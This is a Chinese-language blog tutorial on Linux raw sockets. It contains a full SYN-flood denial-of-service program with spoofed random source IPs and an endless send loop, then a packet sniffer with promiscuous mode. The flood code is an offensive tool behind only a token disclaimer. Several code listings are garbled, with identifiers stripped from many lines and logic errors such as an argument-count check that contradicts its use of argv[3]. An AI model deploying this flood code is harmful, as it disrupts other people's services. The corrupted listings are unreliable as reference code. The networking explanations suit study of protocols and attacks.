基于原始套接字编程
在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证:
也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。
今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了。OK闲话不多说,进入正题。
AF_INET, SOCK_RAW, protocol)。
重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。
我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP,在博文“(十六)洞悉linux下的Netfilter&iptables:开发自己的hook函数【实战】(下)”中我们见到该protocol字段为IPPROTO_RAW时的情形,后面我们会详细介绍。
用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。接下来我们看个最著名的例子DOS攻击的示例代码,以便大家更好的理解如何基于原始套接字手动去封装我们所需要TCP报文。
先简单复习一下TCP报文的格式,因为我们本身不是讲协议的设计思想,所以只会提及和我们接下来主题相关的字段,如果想对TCP协议原理进行深入了解那么《TCP/IP详解卷1》无疑是最好的选择。
我们目前主要关注上面着色部分的字段就OK了,接下来再看看TCP3次握手的过程。TCP的3次握手的一般流程是:
(1) 第一次握手:建立连接时,客户端A发送SYN包(SEQ_NUMBER=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。
(2) 第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK_NUMBER=j+1),同时自己也发送一个SYN包(SEQ_NUMBER=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。
(3) 第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK_NUMBER=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。
至此3次握手结束,TCP通路就建立起来了,然后客户端与服务器开始交互数据。上面描述过程中,SYN包表示TCP数据包的标志位syn=1,同理,ACK表示TCP报文中标志位ack=1,SYN+ACK表示标志位syn=1和ack=1同时成立。
原始套接字还提供了一个非常有用的参数IP_HDRINCL:
1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。
2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。
开启IP_HDRINCL特性的模板代码一般为:
constint on =1;
if(setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
printf("setsockopt error!\n");
}
所以,我们还得复习一下IP报文的首部格式:
同样,我们重点关注IP首部中的着色部分区段的填充情况。
有了上面的知识做铺垫,接下来DOS示例代码的编写就相当简单了。我们来体验一下手动构造原生态IP报文的乐趣吧:
点击(此处)折叠或打开
1. //mdos.c
2. #include <stdlib.h>
3. #include <stdio.h>
4. #include <errno.h>
5. #include <string.h>
6. #include <unistd.h>
7. #include <netdb.h>
8. #include <sys/socket.h>
9. #include <sys/types.h>
10. #include <netinet/in.h>
11. #include <netinet/ip.h>
12. #include <arpa/inet.h>
13. #include <linux/tcp.h>
14. 15. //我们自己写的攻击函数
16. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
17. //如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
18. unsigned short check_sum(unsigned short *addr,int len);
19. 20. int main(int argc,char** argv){
21. int skfd;
22. ;
23. *host;
24. const int on=1;
25. ;
26. 27. if(argc!=2)
28. {
29. ("Usage:%s target dstport srcport\n",argv[0]);
30. exit(1);
31. }
32. 33. (&target,sizeof(struct sockaddr_in));
34. .sin_family=AF_INET;
35. .sin_port=htons(atoi(argv[2]));
36. 37. if(inet_aton(argv[1],&target.sin_addr)==0)
38. {
39. =gethostbyname(argv[1]);
40. if(host==NULL)
41. {
42. ("TargetName Error:%s\n",hstrerror(h_errno));
43. exit(1);
44. }
45. .sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
46. }
47. 48. //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
49. if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
50. ("Create Error");
51. exit(1);
52. }
53. 54. //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
55. if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
56. ("IP_HDRINCL failed");
57. exit(1);
58. }
59. 60. //因为只有root用户才可以play with raw socket :)
61. (getpid());
62. = atoi(argv[3]);
63. (skfd,&target,srcport);
64. }
65. 66. //在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
67. void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
68. [128]={0};
69. *ip;
70. *tcp;
71. int ip_len;
72. 73. //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
74. = sizeof(struct ip)+sizeof(struct tcphdr);
75. //开始填充IP首部
76. =(struct ip*)buf;
77. 78. ->ip_v = IPVERSION;
79. ->ip_hl = sizeof(struct ip)>>2;
80. ->ip_tos = 0;
81. ->ip_len = htons(ip_len);
82. ->ip_id=0;
83. ->ip_off=0;
84. ->ip_ttl=MAXTTL;
85. ->ip_p=IPPROTO_TCP;
86. ->ip_sum=0;
87. ->ip_dst=target->sin_addr;
88. 89. //开始填充TCP首部
90. = (struct tcphdr*)(buf+sizeof(struct ip));
91. ->source = htons(srcport);
92. ->dest = target->sin_port;
93. ->seq = random();
94. ->doff = 5;
95. ->syn = 1;
96. ->check = 0;
97. 98. while(1){
99. //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
100. ->ip_src.s_addr = random();
101. ->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
102. (skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
103. }
104. }
105. 106. //关于CRC校验和的计算,网上一大堆,我就“拿来主义”了
107. unsigned short check_sum(unsigned short *addr,int len){
108. int nleft=len;
109. int sum=0;
110. *w=addr;
111. =0;
112. 113. while(nleft>1)
114. {
115. +=*w++;
116. -=2;
117. }
118. if(nleft==1)
119. {
120. *(unsigned char *)(&answer)=*(unsigned char *)w;
121. +=answer;
122. }
123. 124. =(sum>>16)+(sum&0xffff);
125. +=(sum>>16);
126. =~sum;
127. (answer);
128. }
用前面我们自己编写TCP服务器端程序来做本地测试,看看效果。先把服务器端程序启动起来,如下:
然后,我们编写的“捣蛋”程序登场了:
该“mdos”命令执行一段时间后,服务器端的输出如下:
因为我们的源IP地址是随机生成的,源端口固定为8888,服务器端收到我们的SYN报文后,会为其分配一条连接资源,并将该连接的状态置为SYN_RECV,然后给客户端回送一个确认,并要求客户端再次确认,可我们却不再bird别个了,这样就会造成服务端一直等待直到超时。
备注:本程序仅供交流分享使用,不要做恶,不然后果自负哦。
最后补充一点,看到很多新手经常对struct ip{}和struct iphdr{},struct icmp{}和struct icmphdr{}纠结来纠结去了,不知道何时该用哪个。在/usr/include/netinet目录这些结构所属头文件的定义,头文件中对这些结构也做了很明确的说明,这里我们简单总结一下:
structip{}、struct icmp{}是供BSD系统层使用,struct iphdr{}和struct icmphdr{}是在INET层调用。同理tcphdr和udphdr分别都已经和谐统一了,参见tcp.h和udp.h。
BSD和INET的解释在协议栈篇章详细论述,这里大家可以简单这样来理解:我们在用户空间的编写网络应用程序的层次就叫做BSD层。所以我们该用什么样的数据结构呢?良好的编程习惯当然是BSD层推荐我们使用的,struct ip{}、struct icmp{}。至于INET层的两个同类型的结构体struct iphdr{}和struct icmphdr{}能用不?我只能说不建议。看个例子:
我们可以看到无论BSD还是INET层的IP数据包结构体大小是相等的,ICMP报文的大小有差异。而我们知道ICMP报头应该是8字节,那么BSD层为什么是28字节呢?留给大家思考。也就是说,我们这个mdos.c的实例程序中除了用struct ip{}之外还可以用INET层的struct iphdr{}结构。将如下代码:
点击(此处)折叠或打开
1. struct ip *ip;
2. …
3. ip=(struct ip*)buf;
4. ip->ip_v = IPVERSION;
5. ip->ip_hl = sizeof(struct ip)>>2;
6. ip->ip_tos = 0;
7. ip->ip_len = htons(ip_len);
8. ip->ip_id=0;
9. ip->ip_off=0;
10. ip->ip_ttl=MAXTTL;
11. ip->ip_p=IPPROTO_TCP;
12. ip->ip_sum=0;
13. ip->ip_dst=target->sin_addr;
14. …
15. ip->ip_src.s_addr = random();
改成:
点击(此处)折叠或打开
1. struct iphdr *ip;
2. …
3. ip=(struct iphdr*)buf;
4. ip->version = IPVERSION;
5. ip->ihl = sizeof(struct ip)>>2;
6. ip->tos = 0;
7. ip->tot_len = htons(ip_len);
8. ip->id=0;
9. ip->frag_off=0;
10. ip->ttl=MAXTTL;
11. ip->protocol=IPPROTO_TCP;
12. ip->check=0;
13. ip->daddr=target->sin_addr.s_addr;
14. …
15. ip->saddr = random();
结果请童鞋们自己验证。虽然结果一样,但在BSD层直接使用INET层的数据结构还是不被推荐的。
小结:
1、IP_HDRINCL选项可以使我们控制到底是要从IP头部第一个字节开始构造我们的原始报文或者从IP头部之后第一个数据字节开始。
2、只有超级用户才能创建原始套接字。
3、原始套接字上也可以调用connet、bind之类的函数,但都不常见。原因请大家回顾一下这两个函数的作用。想不起来的童鞋回头复习一下前两篇的内容吧。
可以接收链路层MAC帧的原始套接字
前面我们介绍过了通过原始套接字socket(AF_INET, SOCK_RAW, protocol)我们可以直接实现自行构造整个IP报文,然后对其收发。提醒一点,在用这种方式构造原始IP报文时,第三个参数protocol不能用IPPROTO_IP,这样会让系统疑惑,不知道该用什么协议来伺候你了。
今天我们介绍原始套接字的另一种用法:直接从链路层收发数据帧,听起来好像很神奇的样子。在Linux系统中要从链路层(MAC)直接收发数帧,比较普遍的做法就是用libpcap和libnet两个动态库来实现。但今天我们就要用原始套接字来实现这个功能。
这里的2字节帧类型用来指示该数据帧所承载的上层协议是IP、ARP或其他。
为了实现直接从链路层收发数据帧,我们要用到原始套接字的如下形式:
PF_PACKET, type, protocol)
1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它们两个都使用一种与设备无关的标准物理层地址结构struct sockaddr_ll{},但具体操作的报文格式不同:
SOCK_RAW:直接向网络硬件驱动程序发送(或从网络硬件驱动程序接收)没有任何处理的完整数据报文(包括物理帧的帧头),这就要求我们必须了解对应设备的物理帧帧头结构,才能正确地装载和分析报文。也就是说我们用这种套接字从网卡驱动上收上来的报文包含了MAC头部,如果我们要用这种形式的套接字直接向网卡发送数据帧,那么我们必须自己组装我们MAC头部。这正符合我们的需求。
SOCK_DGRAM:这种类型的套接字对于收到的数据报文的物理帧帧头会被系统自动去掉,然后再将其往协议栈上层传递;同样地,在发送时数据时,系统将会根据sockaddr_ll结构中的目的地址信息为数据报文添加一个合适的MAC帧头。
2、protocol字段,常见的,一般情况下该字段取ETH_P_IP,ETH_P_ARP,ETH_P_RARP或ETH_P_ALL,当然链路层协议很多,肯定不止我们说的这几个,但我们一般只关心这几个就够我们用了。这里简单提一下网络数据收发的一点基础。协议栈在组织数据收发流程时需要处理好两个方面的问题:“从上倒下”,即数据发送的任务;“从下到上”,即数据接收的任务。数据发送相对接收来说要容易些,因为对于数据接收而言,网卡驱动还要明确什么样的数据该接收、什么样的不该接收等问题。protocol字段可选的四个值及其意义如下:
protocol | 值 | 作用 |
ETH_P_IP | 0X0800 | 只接收发往目的MAC是本机的IP类型的数据帧 |
ETH_P_ARP | 0X0806 | 只接收发往目的MAC是本机的ARP类型的数据帧 |
ETH_P_RARP | 0X8035 | 只接受发往目的MAC是本机的RARP类型的数据帧 |
ETH_P_ALL | 0X0003 | 接收发往目的MAC是本机的所有类型(ip,arp,rarp)的数据帧,同时还可以接收从本机发出去的所有数据帧。在混杂模式打开的情况下,还会接收到发往目的MAC为非本地硬件地址的数据帧。 |
protocol字段可取的所有协议参见/usr/include/linux/if_ether.h头文件里的定义。
最后,格外需要留心一点的就是,发送数据的时候需要自己组织整个以太网数据帧。和地址相关的结构体就不能再用前面的struct sockaddr_in{}了,而是struct sockaddr_ll{},如下:
点击(此处)折叠或打开
1. struct sockaddr_ll{
2. ; /* 总是 AF_PACKET */
3. ; /* 物理层的协议 */
4. int sll_ifindex; /* 接口号 */
5. ; /* 报头类型 */
6. ; /* 分组类型 */
7. ; /* 地址长度 */
8. [8]; /* 物理层地址 */
9. };
sll_protocoll:取值在linux/if_ether.h中,可以指定我们所感兴趣的二层协议;
sll_ifindex:置为0表示处理所有接口,对于单网卡的机器就不存在“所有”的概念了。如果你有多网卡,该字段的值一般通过ioctl来搞定,模板代码如下,如果我们要获取eth0接口的序号,可以使用如下代码来获取:
点击(此处)折叠或打开
1. struct sockaddr_ll sll;
2. struct ifreq ifr;
3. 4. strcpy(ifr.ifr_name, "eth0");
5. ioctl(sockfd, SIOCGIFINDEX, &ifr);
6. sll.sll_ifindex = ifr.ifr_ifindex;
取ARPHRD_ETHER时表示为以太网。
sll_pkttype:包含分组类型。目前,有效的分组类型有:目标地址是本地主机的分组用的 PACKET_HOST,物理层广播分组用的 PACKET_BROADCAST ,发送到一个物理层多路广播地址的分组用的 PACKET_MULTICAST,在混杂(promiscuous)模式下的设备驱动器发向其他主机的分组用的 PACKET_OTHERHOST,源于本地主机的分组被环回到分组套接口用的 PACKET_OUTGOING。这些类型只对接收到的分组有意义。
sll_addr和sll_halen指示物理层(如以太网,802.3,802.4或802.5等)地址及其长度,严格依赖于具体的硬件设备。类似于获取接口索引sll_ifindex,要获取接口的物理地址,可以采用如下代码:
点击(此处)折叠或打开
1. struct ifreq ifr;
2. 3. strcpy(ifr.ifr_name, "eth0");
4. ioctl(sockfd, SIOCGIFHWADDR, &ifr);
缺省情况下,从任何接口收到的符合指定协议的所有数据报文都会被传送到原始PACKET套接字口,而使用bind系统调用并以一个sochddr_ll结构体对象将PACKET套接字与某个网络接口相绑定,就可使我们的PACKET原始套接字只接收指定接口的数据报文。
接下来我们简单介绍一下网卡是怎么收报的,如果你对这部分已经很了解可以跳过这部分内容。网卡从线路上收到信号流,网卡的驱动程序会去检查数据帧开始的前6个字节,即目的主机的MAC地址,如果和自己的网卡地址一致它才会接收这个帧,不符合的一般都是直接无视。然后该数据帧会被网络驱动程序分解,IP报文将通过网络协议栈,最后传送到应用程序那里。往上层传递的过程就是一个校验和“剥头”的过程,由协议栈各层去实现。
接下来我们来写个简单的抓包程序,将那些发给本机的IPv4报文全打印出来:
点击(此处)折叠或打开
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <errno.h>
4. #include <unistd.h>
5. #include <sys/socket.h>
6. #include <sys/types.h>
7. #include <netinet/in.h>
8. #include <netinet/ip.h>
9. #include <netinet/if_ether.h>
10. 11. int main(int argc, char **argv) {
12. int sock, n;
13. [2048];
14. *eth;
15. *iph;
16. 17. if (0>(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)))) {
18. ("socket");
19. exit(1);
20. }
21. 22. while (1) {
23. ("=====================================\n");
24. //注意:在这之前我没有调用bind函数,原因是什么呢?
25. = recvfrom(sock,buffer,2048,0,NULL,NULL);
26. ("%d bytes read\n",n);
27. 28. //接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。
29. =(struct ethhdr*)buffer;
30. ("Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);
31. ("Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02x\n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);
32. 33. =(struct iphdr*)(buffer+sizeof(struct ethhdr));
34. //我们只对IPV4且没有选项字段的IPv4报文感兴趣
35. if(iph->version ==4 && iph->ihl == 5){
36. ("Source host:%s\n",inet_ntoa(iph->saddr));
37. ("Dest host:%s\n",inet_ntoa(iph->daddr));
38. }
39. }
40. }
编译,然后运行,要以root身份才可以运行该程序:
正如我们前面看到的,网卡丢弃所有不含有主机MAC地址00:0C:29:BA:CB:61的数据包,这是因为网卡处于非混杂模式,即每个网卡只处理源地址是它自己的帧!
这里有三个例外的情况:
1、如果一个帧的目的MAC地址是一个受限的广播地址(255.255.255.255)那么它将被所有的网卡接收。
2、如果一个帧的目的地址是组播地址,那么它将被那些打开组播接收功能的网卡所接收。
3、网卡如被设置成混杂模式,那么它将接收所有流经它的数据包。
前面我们刚好提到过网卡的混杂模式,现在我们就来迫不及待的实践一哈看看混杂模式是否可以让我们抓到所有数据包,只要在while循环前加上如下代码就OK了:
点击(此处)折叠或打开
1. struct ifreq ethreq;
2. … …
3. strncpy(ethreq.ifr_name,"eth0",IFNAMSIZ);
4. if(-1 == ioctl(sock,SIOCGIFFLAGS,ðreq)){
5. ("ioctl");
6. (sock);
7. exit(1);
8. }
9. ethreq.ifr_flags |=IFF_PROMISC;
10. if(-1 == ioctl(sock,SIOCGIFFLAGS,ðreq)){
11. ("ioctl");
12. (sock);
13. exit(1);
14. }
15. while(1){
16. … …
17. }
至此,我们一个网络抓包工具的雏形就出现了。大家可以基于此做更多的练习,加上多线程机制,对收到的不同类型的数据包做不同处理等等,反正由你发挥的空间是相当滴大,“狐狸未成精,只因太年轻”。把这块吃透了,后面理解协议栈就会相当轻松。